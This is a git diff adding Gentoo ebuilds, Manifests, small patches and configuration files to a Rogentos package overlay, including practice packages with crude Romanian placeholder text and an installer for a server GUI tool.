+AUX exemplu1.txt 9 SHA256 cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 SHA512 663fad5bcd324358db08bc078aba90177f7854b26b38fa06f9a1f454ec7001ee8daf46cb52ab0eb776bc747cdc4fe6ad8a3b3124fbe0a39c4e1e8ed01f6b6e9a WHIRLPOOL c9e28bf0a79c98482dc4b4c3a20749763a40665a37cfdbc9a7e1c87b5c832b168da6fd08b780b3fde8e7d73fb83210fe7e666547921d021251a23e18bc74bc5d
+AUX exemplu1.txt.orig 9 SHA256 bf0229df1b5b20af2fcbce73b21d4b7514b619ee7d226ff8d4f2a391dc7b70ff SHA512 40b78383363ff17b8602e7c0a5cfa010be23163419947c71b06d4a2b94c3dd08b59bcec5d77e6105a41b96fd63b00df353073c08d6cba2cbcb0ed273c0218aa7 WHIRLPOOL 45dbf9b18eca5d5101e9767ac625eb6b58aef8a9097bff2de7e22fdc7626eecc67b8f78a2f4269306ce482af8a6fbb40eb8471a5773a58891cdad3646285a82f
+AUX exemplu2.txt 8 SHA256 c499ebba9dc0927353b85db5f714f8f3cbd67569e250c4cdabb97e5d5b65a632 SHA512 05574326e12efd7172d277880587b83130a5f4c1d65cc2b162fe70cfa3ee51b98d141b167ba09f9dcb8a4122cd639cd002ef99937955d766ac651d2a236bf7a7 WHIRLPOOL 04866e06a30b3652997bce112c2cce2a925bc0d39e0104d668fde00cf2cc78a89af9e71c92a1c019698d49ce703cc91ec0cfe357ce9ae2e1b5a70e427446ca91
+AUX fisier 6 SHA256 76568a3b0f2c06f3a09f85fd7c2d511cb814f4c7ec8fccef2fe81fc504a07f33 SHA512 968ad951cdb10e403c80e30754bde7df0a661b313c69a662f5f3d8e56d347049a5b3012e4eb7e83e85f2af15fce7de8ef9d8f04cd42e4f464abd943c37486b40 WHIRLPOOL f757dfd020fd50e301b8b0b3153f21b238a18d2311136ae6df38077da847a482610b2c0cd13295cc5b8367e413e718e2361872df142a39afe174d53f4ac0ccf3
+AUX fisier.orig 6 SHA256 be15f6fe0bb4b8485c592ca221f3e1ebe8d628e344049bcc9287df6265f3f37f SHA512 b28b22c09a56bac41886d088d419539b89136548efe5957308c4ec8663105f7df9ed95064785a5d5082e530a2eb5b0495a3916ca9c69cfd13ef0a96d623fff6f WHIRLPOOL 2655cf5b0d7f84299006164e5e738977f8dcbaa0e0237f10a6d61dd07698de97b08ec588ffc811fba68bf5ce5ee4121db05981732a114bb2de917084b58d8e29
+AUX patch-1.0.patch 125 SHA256 0645113892b72e2005696d1e2db27089e4f235fcaf3904140c32cb8f4021be3f SHA512 6623706da634093b5bb27f142e5842b09c81f0643c6b0d554bd1df3ac26f1b8f61c98e21af86289bf38023bcc410609402a4be8e1ccf1b1c67405f82c1bb9b59 WHIRLPOOL cabec3213cb9a3f6ea4b18403ae068551e620e000b046d7e800ad04ee5576a4ddde630cef4ca9be8a56fa631aa91da87d8e8a4a85a9ba6fda72a9d75d447dfcf
+AUX patch-1.1.patch 143 SHA256 41e787e24bd147a8cabd3a7f494c12eb5a984568dc44fba6e3033088cfe065ad SHA512 033df7f952cbd1ccb38d73fcc8db8ddfacdffab3a86bc3027e0faf6a44f2ab62effaf75190d218aac1104f525d77a950874b7bf475de38e8601e3e0c742e9aae WHIRLPOOL 3625eaa8505256411c17beef48d8c1a5e8c4da671b4396069481520a4b4397c7dce39dfa8ffff461c4be27788db37461e235d5697731450c3c88f6537a792a69
+DIST exemplu.tar.gz 158 SHA256 26e5bfba98a948bc16c78a2798dde79a4358e839a03dee57e36796cc4a64b6da SHA512 1fc4e2e458eaa32aaffb247ae7720af3f9993bf0d60875f720d91d9aa161e8b719ccb8c292d7e8c94fbf5db126a1d769bdd33d545db4bf6b71abecc8763601ef WHIRLPOOL 8456470959c77e8186a51d804e4d7c228dfc616931ae9b22bb2c545fb2685fc51889c280f963892299aaa9763db126841184ec08401820f0d0012d0e52abaaf3
+DIST fisier.tar.gz 121 SHA256 a934b91bc27f2d15bc561ed0fef471c436abf92e019ae2af10659304eecee1ec SHA512 4665771a884d32f4ed2ff4ec25e587d4cd85abc56368488876c039f8ed0f25931363aa0ea15afb2d581b14533d6529f5176dff4830b5382eb3aee0483adb3f8b WHIRLPOOL 8ef8068d8f7991127ac8fc3e62de6dd4c35492e393fc4edabfd7084d7f46761cc6764e4aa936da55955febe574866ba709153641378f0a24dc83bd3e9ea59476
+EBUILD fisierul-1.0.ebuild 941 SHA256 ce83b22fcdd26de1070f4af3a5bb9b3c138e0f7212098ad8a7673dbfb78539b6 SHA512 5f4801a022637c6c5b6f1d2d0886c30ab98fdab12bcfb152dd3a77b85c91ace05712a8e9aa365accf4a36f7ad4eb2ef02f4774a30980093173785279bac5016d WHIRLPOOL 9b59d6085dc76f9febaac96665378ab6779f19b34adae7a5a2ffd1e1e312a6c686cd4e7e6e9de05f7148b6d39cbc2f10bd78baef819f0f8437ee9c09e3b38aa5
+EBUILD fisierul-1.1.ebuild 647 SHA256 1138ae0ec76d9502e8ac67ee91c6295475d5bc9cdce535cb9487e0c0ee4ce42f SHA512 fb93d8a9ef8e540e39942b288290500b059eb297902f1b13416498b1ae26b15263f6453ac5fba50db7563accf99e2f6f9df1a498536b5945534fbe2a2a78bcd3 WHIRLPOOL 147e33a165af440015bf4bca5bc624905db09fae6ed0746cb6a1a127ea9de94a7c565cc2aa489a728f886cf9b53361852cde06414eb4f9433e3057f90107deb9
diff --git a/app-admin/example2/example2-1.0.ebuild b/app-admin/example2/example2-1.0.ebuild
new file mode 100644
index 00000000..0d442efa
--- /dev/null
+++ b/app-admin/example2/example2-1.0.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils
+
+DESCRIPTION="Cacatul meu personal"
+HOMEPAGE="http://pkg.rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/fisier.tar.gz"
+
+LICENSE="GPL-2"
+IUSE="primulflag"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+
+RDEPEND=""
+DEPEND="${RPEDEND}"
+
+S="${WORKDIR}"
+
+src_prepare() {
+	epatch "${FILESDIR}"/patch-1.0.patch || die
+}
+
+src_install() {
+	dodir /home/cacatulmeupersonal || die "Creem folderul"
+	insinto /home/cacatulmeupersonal || die "Intram in folder"
+	doins fisier || die "Copiem fisierul fisier din arhiva"
+
+	if use primulflag; then
+		sed -i 's/cacat/ceva/g' fisier || die "Nu a reusit functia"
+		insinto /home/cacatulmeupersonal/ || die
+		doins fisier || die
+	fi
+
+	if ! use primulflag; then
+		ewarn "Nu ai folosit flag-ul asta" || die
+		echo "asta-i echo, dar modificat... genetic" || die
+	fi
+
+}
diff --git a/app-admin/example2/example2-1.1.ebuild b/app-admin/example2/example2-1.1.ebuild
new file mode 100644
index 00000000..91fc88bb
--- /dev/null
+++ b/app-admin/example2/example2-1.1.ebuild
@@ -0,0 +1,25 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+inherit eutils
+
+DESCRIPTION="Cacatul meu personal"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://dl.dropbox.com/u/71039453/exemplu.tar.gz"
+LICENSE="GPL-2"
+IUSE=""
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+RDEPEND=""
+DEPEND="${RPEDEND}"
+
+src_prepare() {
+        epatch "${FILESDIR}"/patch-1.1.patch || die
+}
+src_install() {
+        dodir /home/cacatulmeupersonal || die "Creem folderul"
+        insinto /home/cacatulmeupersonal || die "Intram in folder"
+        doins exemplu1.txt || die "Copiem fisierul fisier din arhiva"
+}
diff --git a/app-admin/example2/files/patch-1.0.patch b/app-admin/example2/files/patch-1.0.patch
new file mode 100644
index 00000000..0f3a0794
--- /dev/null
+++ b/app-admin/example2/files/patch-1.0.patch
@@ -0,0 +1,5 @@
+--- fisier.orig	2012-12-12 02:27:34.000000000 +0200
++++ fisier	2012-12-12 02:35:47.385217271 +0200
+@@ -1 +1 @@
+-cacat
++rahat
diff --git a/app-admin/example2/files/patch-1.1.patch b/app-admin/example2/files/patch-1.1.patch
new file mode 100644
index 00000000..380a6fb4
--- /dev/null
+++ b/app-admin/example2/files/patch-1.1.patch
@@ -0,0 +1,5 @@
+--- exemplu1.txt.orig	2012-12-12 15:00:26.347259148 +0200
++++ exemplu1.txt	2012-12-12 15:00:32.320188957 +0200
+@@ -1 +1 @@
+-exemplu1
++whatever
diff --git a/app-admin/kernel-schimbare/Manifest b/app-admin/kernel-schimbare/Manifest
new file mode 100644
index 00000000..96992769
--- /dev/null
+++ b/app-admin/kernel-schimbare/Manifest
@@ -0,0 +1,4 @@
+DIST kernel-schimbare-1.tar.gz 3898 SHA256 7ebaad09b6071c4d68e9d4b9f69fe747160d83d02c1bb0782204aef5fed63145 SHA512 76637c229e8c5b98d73502514740b654cd5b8a7d9e3d984373a6b8f1efed7fa751d21e68442370cdd64159cf98298501276dea7e99f33de84228c4c2ac100096 WHIRLPOOL fd039b12458326fe9dfdcaf182f1f83c25130d2b88ee5a6bfe13859962b245590592023494827d2e50063fb6d4d7d3ee25d02618d79c4b54ba20c30d59a7c7a7
+DIST kernel-schimbare-2.tar.gz 3899 SHA256 f86730b95d1854ed7b55a641e77add0c643db36cd9173030994b06b9442a6e50 SHA512 f19477879f64820e2b687046a85a31d285d6ee925249f821579f1ea3915f4dce24ca0a4af58d9861f04e00b1b5ff766ee10756ac710638aeede451c0aaa8a938 WHIRLPOOL b1ea0162bd47c3125d63d14cfd9dd93ae3c0f7277c154dae975c80599c8d11d6c3725f5d56fbdc12a453d8b2a0e9832f25d0f7fbb81fd5c8b4eb6f9b60e688b5
+EBUILD kernel-schimbare-1.ebuild 568 SHA256 5542acffd317dd9e1ba2458677ed1c35e9393cb791e5e9cb1894d0c047647047 SHA512 1a1f53b3702310ddd4662370fb8991166c41673b4931c917b9a914d6077fd832c7248f981958e9322025da93732bb4e607735887d52a1efff98ac34ef728dd94 WHIRLPOOL f70f5115d826fba12948ad7bf8e027fa1a50c9190508bbeb7acd32caa7729d2f26175a6f43d4fdba443a16973c1aa8fed3b20f6be6c9856d6401c565f5239de9
+EBUILD kernel-schimbare-2.ebuild 542 SHA256 8bf8bed2541f11a8f9fdf61bcf2d81a2b074c73da1e775a6bc69345cececb85c SHA512 8f36084a5d6e8d0d45e59b9f5fe9895104c3cb3f2aabbc00ddbb4a874c2b2da343509c60559186cdf30eff653ddeabbcf93d4678613d24006346967b47d62a04 WHIRLPOOL f6c0bff7150f82c02955715b75e541096dd54c1fbb08c585f18b13b9683d610d4c5c3d0aae9b2d39b2b06c4888c2709dac581c1224b397312aaea930098268b1
diff --git a/app-admin/kernel-schimbare/kernel-schimbare-1.ebuild b/app-admin/kernel-schimbare/kernel-schimbare-1.ebuild
new file mode 100644
index 00000000..923c3ac7
--- /dev/null
+++ b/app-admin/kernel-schimbare/kernel-schimbare-1.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit unpacker
+
+DESCRIPTION="Schimba sau actualizeaza nucleul"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+
+RDEPEND="x11-themes/rogentos-artwork-core"
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_install() {
+	#whatever
+	insinto /sbin || die
+	doins "${PN}" || die
+	fperms 755 "/sbin/${PN}" || die
+	fperms 755 "${PN}" || die
+}
diff --git a/app-admin/kernel-schimbare/kernel-schimbare-2.ebuild b/app-admin/kernel-schimbare/kernel-schimbare-2.ebuild
new file mode 100644
index 00000000..2309bcba
--- /dev/null
+++ b/app-admin/kernel-schimbare/kernel-schimbare-2.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit unpacker
+
+DESCRIPTION="Schimba sau actualizeaza nucleul"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/"${PN}"/"${PN}"-"${PV}".tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+
+RDEPEND=""
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_install() {
+	#whatever
+	insinto /sbin || die
+	doins "${PN}" || die
+	fperms 755 "/sbin/${PN}" || die
+	fperms 755 "${PN}" || die
+}
diff --git a/app-admin/minus-desktop-tool/Manifest b/app-admin/minus-desktop-tool/Manifest
new file mode 100644
index 00000000..408aae6b
--- /dev/null
+++ b/app-admin/minus-desktop-tool/Manifest
@@ -0,0 +1,2 @@
+DIST minus-desktop-tool-1.8_amd64.deb 591524 RMD160 f1e4666a2a598e2670f6d9d8abb548cc5bde470c SHA1 df6592bc884bc24b56791f7a25d65f1b8bc22bcc SHA256 6cda704d1d627fb023cf097e1a18dae794679211aafd72c66d8191736f18e295
+EBUILD minus-desktop-tool-1.8.ebuild 433 RMD160 b891d8c275e7abea1aec178f2a256f6662fb8792 SHA1 d21b61d7610a9704663d95981f14c1a28d75a3b0 SHA256 302cf309758c7b5c984d581826f52124f7bb296edf0a95db5ec5fb2317b33b0f
diff --git a/app-admin/minus-desktop-tool/minus-desktop-tool-1.8.ebuild b/app-admin/minus-desktop-tool/minus-desktop-tool-1.8.ebuild
new file mode 100644
index 00000000..2eb5b79a
--- /dev/null
+++ b/app-admin/minus-desktop-tool/minus-desktop-tool-1.8.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+
+inherit unpacker
+
+DESCRIPTION="Super-useful stream editor (sed)"
+HOMEPAGE="https://minus.com/pages/tools"
+SRC_URI="http://blog.minus.com/updates/${PN}_${ARCH}.deb -> ${P}_${ARCH}.deb"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND=""
+DEPEND="dev-libs/qt-core
+        dev-libs/qjson"
diff --git a/app-admin/our-archive/Manifest b/app-admin/our-archive/Manifest
new file mode 100644
index 00000000..f3ad1964
--- /dev/null
+++ b/app-admin/our-archive/Manifest
@@ -0,0 +1,4 @@
+AUX creation-1.patch 320 SHA256 a2a7f2bfe8830365303c0ffb35540cdd6873351a3ad94ad4dba6058101a65652 SHA512 a2aae609baa2d1b652b7b354ac0ed17bb2c69c81bcdd06b7db27cd1ce3589eb5873ae2e39994595b0aafaf539df1b7bb8b8ac66e5debe198335f0e7123275d66 WHIRLPOOL 195bc88aaea57e667eabb5caa2d45beb6863f0cb2d3e656abd9ae7afb041896658e5d48175eefb65d4dcd4917335d6a383b5c99955fdc18cd46ec13a6d84378e
+DIST creation.tar.gz 276 SHA256 350a917c75348976195219628320a7628bff16d86e9430b9851cf2595a440e19 SHA512 0987618543ed3cf341869e8cf6fb147a42d78217ee5bb0baf6e11a5589e018b6f6a98e4c4422a23f253b713f241ec1d781ba1d808d6fbaab8a0dc928018b441c WHIRLPOOL 81c4042214b8e31f6fc4ae3724a7e9a6ba0e37f0bfe1033d631115acf23e741a59a774716f9546b17954b6947ab01a502b9947086b95fcfab88a3e6a34ddf57f
+EBUILD our-archive-1.01.ebuild 1040 SHA256 039c5fbd892418d60e27c611d37fe8cfc6f51383f60486485336c923e805a9d2 SHA512 bd5478223d671e870956a676b887f5edbbaa1258307ca71ffe7e7d263d5b327ddbb06dd39b4d42a304777bb253184c2a5f123c6baf259ffee9e89cc163d4dcaf WHIRLPOOL 899fa3e7e31a31bfedcda7590ad945b1bf01bb22f7c017fd2bca9c5fb1e8d120ce78e9f42869cd79cf5d55af0d0e0d289c31715c4e48007679384264dfae3ee1
+EBUILD our-archive-1.ebuild 896 SHA256 d9f6a84c381d26dbfc23bcada2bb62b21ca8f1e694c1a56fc431390cc6d02e15 SHA512 1b45c3efa37539fef7e2b83dfed581981d3d625a385402189192cee013ee8cb56fd45f7668e61c222a6089e1f7d3628f94fa103a1152b58ef5a617edb987de54 WHIRLPOOL 942c3e066188d53e7490ad289bee11928f14af5bbc3588a866ea568378d3d5f1672f899d28fa85721d81101570755f2701633d2f7ff3a3091319e1272af440f7
diff --git a/app-admin/our-archive/files/creation-1.patch b/app-admin/our-archive/files/creation-1.patch
new file mode 100644
index 00000000..f8fe2e54
--- /dev/null
+++ b/app-admin/our-archive/files/creation-1.patch
@@ -0,0 +1,9 @@
+--- creation.orig.sh	2012-10-03 03:21:59.000000000 +0300
++++ creation.sh	2012-10-03 03:29:53.393351235 +0300
+@@ -4,5 +4,5 @@
+ # $Header: $
+ 
+ if [ -d "/home/" ]; then
+-	echo "Acesta este home-ul tau. Let's play with it a bit, shall we"
++	echo "Acesta nu mai este casa ta. Let's play with it a bit, or shall we not."
+ fi
diff --git a/app-admin/our-archive/our-archive-1.01.ebuild b/app-admin/our-archive/our-archive-1.01.ebuild
new file mode 100644
index 00000000..bd17c022
--- /dev/null
+++ b/app-admin/our-archive/our-archive-1.01.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+inherit eutils
+
+DESCRIPTION="Example X"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/creation.tar.gz
+	http://pkg2.rogentos.ro/~noxis/distro/creation.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="-configurare"
+
+RESTRICT="fetch strip"
+
+RDEPEND=""
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_prepare() {
+	epatch "${FILESDIR}/creation-1.patch" || die #Aplicam patch-ul inainte
+	sed -i 's/Acesta/Asta/g' creation.sh || die #Sed-uim fisierul
+}
+
+src_install() {
+	if use configurare ; then
+		dodir /home/$USER/test || die #Creaza director
+		insinto /home/$USER/test || die #Intra in director
+		doins creation.sh || die #Copiaza in directorul creat
+	fi
+
+	if ! use configurare ; then
+		sed -i 's/Asta/Acesta inapoi/g' "${S}"/creation.sh || die #Schimba Asta inapoi cu Acesta, dar inapoi
+		doins "${S}"/creation.sh /home/$USER/ || die #De data asta bagam fisierul unde trebe
+	fi
+}
diff --git a/app-admin/our-archive/our-archive-1.ebuild b/app-admin/our-archive/our-archive-1.ebuild
new file mode 100644
index 00000000..815796cf
--- /dev/null
+++ b/app-admin/our-archive/our-archive-1.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+inherit eutils
+
+DESCRIPTION="Example X"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg2.rogentos.ro/~noxis/distro/creation.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="-configurare"
+
+RESTRICT="fetch strip"
+
+RDEPEND=""
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_prepare() {
+	epatch "${FILESDIR}/creation-1.patch" || die #Aplicam patch-ul inainte
+	sed -i 's/Acesta/Asta/g' creation.sh || die #Sed-uim fisierul
+}
+
+src_install() {
+	if use configurare ; then
+		dodir /home/$USER/test || die #Creaza director
+		insinto /home/$USER/test || die #Intra in director
+		doins creation.sh || die #Copiaza in directorul creat
+	fi
+
+	if ! use configurare ; then
+		sed -i 's/Asta/Acesta inapoi/g' "${S}"/creation.sh || die #Schimba Asta inapoi cu Acesta, dar inapoi
+	fi
+}
diff --git a/app-admin/rose-installer/Manifest b/app-admin/rose-installer/Manifest
new file mode 100644
index 00000000..bf160c49
--- /dev/null
+++ b/app-admin/rose-installer/Manifest
@@ -0,0 +1,3 @@
+AUX RoSeInstaller.desktop 197 SHA256 0310f95b45c5e1f5f1423f20a008bd93d77eadd739c7e6bc5fd521b9ff258c8d SHA512 f1aa7914c31fcded550bc1b9098004d2746802b6222d8369a75fd84457bf0979f687dd29ab63d0a147041fbe6e242ac516377a777ce113f48b89c6972f4654dc WHIRLPOOL 84fc1d12bf7387b28f067c734b1cc2f8c9b662c4e5b6bcf30fc61070384dd21fd9652dca1b1886ff77a9fecb7410e60c93faf65428dfe4351bf7a7523e7e4691
+AUX rose-installer.png 10420 SHA256 eb7b9ba23d38e6296db50235f679b6d81acc93ec9b328092d8271c39a0e97236 SHA512 0a87d94f34245146438e1c0a584a0ad87b6f04a9058f01120174df0bb8867a62426a4d473ab33e7d3c11810db2d163167e7b855b0a1d485059d91c6eb3e91853 WHIRLPOOL b5cc4f89f42e2954e4f78c6b0ddce6f04341eaac8ada748aedc6e6d331a70b6c7cae27cc035fe0640c1fce437ab64e1688ea27912db062dc9071edf93789da32
+EBUILD rose-installer-1.0.ebuild 878 SHA256 0bb5b4983e239676b4205422d3df7adc7cb681b556524f05efc14af207ef2840 SHA512 9438eaa41df98a6299c5b4fcb6ca1205570f43a0f7dcb3e0266c4c9750bdf38e6089e4fe5f367793896277e9d8e8a1e34e010d20e0dedf7f9eec1be2c4ee9c04 WHIRLPOOL 4f96cdc0c34ca1fa7cf2b7bee200bf84faa9dd4069273109043a9eb3b970e36dc6c1b7428b7d7e54dd9589fe57f12951040371619bc4049949fd12e6c41b6498
diff --git a/app-admin/rose-installer/files/RoSeInstaller.desktop b/app-admin/rose-installer/files/RoSeInstaller.desktop
new file mode 100644
index 00000000..8b30b2f1
--- /dev/null
+++ b/app-admin/rose-installer/files/RoSeInstaller.desktop
@@ -0,0 +1,7 @@
+[Desktop Entry]
+Name=RoSeInstaller
+Type=Application
+Comment=RogentOS GUI Installer for Servers
+Exec=/usr/bin/RoSeInstaller
+Icon=/opt/RoSeInstaller/rose-installer.png
+Categories=System;Development;
diff --git a/app-admin/rose-installer/files/rose-installer.png b/app-admin/rose-installer/files/rose-installer.png
new file mode 100644
index 00000000..214540af
Binary files /dev/null and b/app-admin/rose-installer/files/rose-installer.png differ
diff --git a/app-admin/rose-installer/rose-installer-1.0.ebuild b/app-admin/rose-installer/rose-installer-1.0.ebuild
new file mode 100644
index 00000000..bbbe3202
--- /dev/null
+++ b/app-admin/rose-installer/rose-installer-1.0.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils git-2
+
+DESCRIPTION="RogentOS GUI Installer for Servers"
+HOMEPAGE="http://github.com/GabiBGS"
+EGIT_REPO_URI="https://github.com/Rogentos/chroot_deploy.git"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="app-misc/rogentos-skel
+	dev-lang/python:2.7
+	dev-python/PyQt4"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"
+
+src_install() {
+	insinto /opt/RoSeInstaller
+	doins "${S}"/RoSeInstaller*
+	doins "${FILESDIR}"/${PN}.png
+
+	dodir /usr/bin/
+	cat > "${D}"/usr/bin/RoSeInstaller <<-EOF
+	/usr/bin/python2.7 /opt/RoSeInstaller/RoSeInstaller.py
+EOF
+
+	insinto /usr/share/applications/
+	doins "${FILESDIR}"/RoSeInstaller.desktop
+
+	fperms 755 /usr/bin/RoSeInstaller
+	
+	insinto /etc/skel/Desktop
+	doins "${FILESDIR}"/RoSeInstaller.desktop
+}
diff --git a/app-admin/stability-watcher/Manifest b/app-admin/stability-watcher/Manifest
new file mode 100644
index 00000000..ea2322c8
--- /dev/null
+++ b/app-admin/stability-watcher/Manifest
@@ -0,0 +1,3 @@
+AUX 07-rogentos-packages.mask 2510 SHA256 49018d312861811c8e1544365b4100fffd94412e6a0df2d8b3eacd07f5de575a SHA512 d548d851cba1bb2a2b3bcecb2f6604e665a6cd6aee1ba5b00b70a377bdbe9d70eba0cfb380345d3b09149168f95dc25612d507d4d180e3086909e8ca1ffbe641 WHIRLPOOL e3db099b873eba1a990d63ff047b9fe0b6d15672a97e9d9865e872d08277631865e9d28026055edcba17f719379a850a326f27b68eb5bbb1e8f94cacbc5bd63f
+AUX entropy_sabayonlinux.org 351 SHA256 4145eab1e83a6615d5f2931f798ec43ba97f395ff54ea0909a409833d5009abb SHA512 9bccbd9039edb8a19b150f27a9d567e6032d5ae3bb74f12102cd646a8c447794fa8b78f8bf1a86a3536717789496333824694f54274890d4eb382c5e1b1cd363 WHIRLPOOL 9f7f1a56f34b998f9136fe9b2784549281c48843d49e5d4d5f826fa11699debab1113c8326d5f223746304d98a8473e8b08b1eaeb4dae4464cc1c8dbdbdfaa0b
+EBUILD stability-watcher-0.1.ebuild 786 SHA256 261aae34a1409be87d2a6b620aed2df727fdf7c1c5db657c793cd15017d3e78d SHA512 30e1408164f5a9599de9fe8ee5927990282b98af669371b25ef08ae00890728eb214b313c5623c8b893c8031781e6d3b87a53992cc7c6b79492d89ba941e1347 WHIRLPOOL 21f7ad68b4ade50a47b9c1d868e88579358f27c4df75bea602fa98b72ff64be9eac52ee9212066f52d66e0adbdd1ec901745d227160c4612c8316b8663c301ab
diff --git a/app-admin/stability-watcher/files/07-rogentos-packages.mask b/app-admin/stability-watcher/files/07-rogentos-packages.mask
new file mode 100644
index 00000000..d546424d
--- /dev/null
+++ b/app-admin/stability-watcher/files/07-rogentos-packages.mask
@@ -0,0 +1,71 @@
+>=sys-apps/openrc-0.9@sabayon-limbo
+>=sys-apps/openrc-0.9@sabayonlinux.org
+>=sys-apps/openrc-0.9@sabayon-weekly
+
+>=app-misc/sabayonlive-tools-2.3@sabayon-limbo
+>=app-misc/sabayonlive-tools-2.3@sabayonlinux.org
+>=app-misc/sabayonlive-tools-2.3@sabayon-weekly
+
+>=app-misc/sabayon-skel-9@sabayon-limbo
+>=app-misc/sabayon-skel-9@sabayonlinux.org
+>=app-misc/sabayon-skel-9@sabayon-weekly
+
+>=sys-boot/grub-2.00@sabayon-limbo
+>=sys-boot/grub-2.00@sabayonlinux.org
+>=sys-boot/grub-2.00@sabayon-weekly
+
+>=kde-base/oxygen-icons-4.9.2@sabayon-weekly
+>=kde-base/oxygen-icons-4.9.2@sabayonlinux.org
+>=kde-base/oxygen-icons-4.9.2@sabayon-limbo
+
+>=x11-themes/gnome-colors-common-5.5.1@sabayon-weekly
+>=x11-themes/gnome-colors-common-5.5.1@sabayonlinux.org
+>=x11-themes/gnome-colors-common-5.5.1@sabayon-limbo
+
+>=x11-themes/tango-icon-theme-0.8.90@sabayon-weekly
+>=x11-themes/tango-icon-theme-0.8.90@sabayonlinux.org
+>=x11-themes/tango-icon-theme-0.8.90@sabayon-limbo
+
+>=x11-themes/elementary-icon-theme-2.7.1@sabayon-weekly
+>=x11-themes/elementary-icon-theme-2.7.1@sabayonlinux.org
+>=x11-themes/elementary-icon-theme-2.7.1@sabayon-limbo
+
+>=lxde-base/lxdm-0.4.1-r5@sabayon-weekly
+>=lxde-base/lxdm-0.4.1-r5@sabayonlinux.org
+>=lxde-base/lxdm-0.4.1-r5@sabayon-limbo
+
+>=sys-boot/grub-2.00@sabayon-limbo
+>=sys-boot/grub-2.00@sabayonlinux.org
+>=sys-boot/grub-2.00@sabayon-weekly
+
+>=kde-base/oxygen-icons-4.9.2@sabayon-weekly
+>=kde-base/oxygen-icons-4.9.2@sabayonlinux.org
+>=kde-base/oxygen-icons-4.9.2@sabayon-limbo
+
+>=x11-themes/gnome-colors-common-5.5.1@sabayon-weekly
+>=x11-themes/gnome-colors-common-5.5.1@sabayonlinux.org
+>=x11-themes/gnome-colors-common-5.5.1@sabayon-limbo
+
+>=x11-themes/tango-icon-theme-0.8.90@sabayon-weekly
+>=x11-themes/tango-icon-theme-0.8.90@sabayonlinux.org
+>=x11-themes/tango-icon-theme-0.8.90@sabayon-limbo
+
+>=x11-themes/elementary-icon-theme-2.7.1@sabayon-weekly
+>=x11-themes/elementary-icon-theme-2.7.1@sabayonlinux.org
+>=x11-themes/elementary-icon-theme-2.7.1@sabayon-limbo
+
+>=lxde-base/lxdm-0.4.1-r5@sabayon-weekly
+>=lxde-base/lxdm-0.4.1-r5@sabayonlinux.org
+>=lxde-base/lxdm-0.4.1-r5@sabayon-limbo
+
+>=sys-apps/gpu-detector-1@sabayon-weekly
+>=sys-apps/gpu-detector-1@sabayonlinux.org
+>=sys-apps/gpu-detector-1@sabayon-limbo
+
+>=app-admin/anaconda-0.1@sabayon-weekly
+>=app-admin/anaconda-0.1@sabayonlinux.org
+>=app-admin/anaconda-0.1@sabayon-limbo
+
+>=app-misc/anaconda-runtime-1.1-r1@sabayon-weekly
+>=app-misc/anaconda-runtime-1.1-r1@sabayonlinux.org
+>=app-misc/anaconda-runtime-1.1-r1@sabayon-limbo
diff --git a/app-admin/stability-watcher/files/entropy_sabayonlinux.org b/app-admin/stability-watcher/files/entropy_sabayonlinux.org
new file mode 100644
index 00000000..ee10eaad
--- /dev/null
+++ b/app-admin/stability-watcher/files/entropy_sabayonlinux.org
@@ -0,0 +1,3 @@
+repository|rogentoslinux|Rogentos Linux Official Repository|http://pkg.rogentos.ro/~rogentos/entropy/|http://pkg.rogentos.ro/~rogentos/entropy#bz2
+repository|rogentoslinux|Rogentos Linux Official Repository|http://pkg2.rogentos.ro/~noxis/entropy/|
